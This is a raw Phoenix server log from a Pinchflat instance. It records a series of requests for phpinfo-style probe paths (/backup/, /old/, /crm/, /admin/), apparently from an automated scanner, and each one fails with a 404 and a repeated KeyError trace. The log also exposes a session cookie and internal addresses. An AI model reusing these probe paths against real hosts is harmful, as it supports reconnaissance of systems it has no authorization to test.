"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11841.0>, params: %{}, path_info: ["backup", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backup/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXZLW8HMyZC0ABWIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 74, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 74, host_info: :undefined (truncated) 17:14:37.568 [info] GET /old/phpinfo.php 17:14:37.568 [debug] QUERY OK source="settings" db=0.1ms idle=631.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.569 [debug] QUERY OK source="settings" db=0.0ms idle=512.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.569 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:37.569 [error] #PID<0.11842.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 75) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /old/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 75, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11842.0>, params: %{}, path_info: ["old", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/old/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXaIdw6u1HO8ABWKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 75, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 75, host_info: :undefined }}, assigns: (truncated) 17:14:37.824 [info] GET /crm/phpinfo.php 17:14:37.825 [debug] QUERY OK source="settings" db=0.2ms idle=768.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.825 [debug] QUERY OK source="settings" db=0.0ms idle=512.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.825 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:37.826 [error] #PID<0.11843.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 76) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /crm/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 76, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11843.0>, params: %{}, path_info: ["crm", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/crm/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXbFlv_MN1pMABWMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 76, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 76, host_info: :undefined }}, assigns: (truncated) 17:14:38.082 [info] GET /admin/info.php 17:14:38.082 [debug] QUERY OK source="settings" db=0.1ms idle=513.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.083 [debug] QUERY OK source="settings" db=0.0ms idle=513.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.083 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:38.083 [error] #PID<0.11844.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 77) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /admin/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 77, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11844.0>, params: %{}, path_info: ["admin", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXcDAIWCYIPsABWOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", 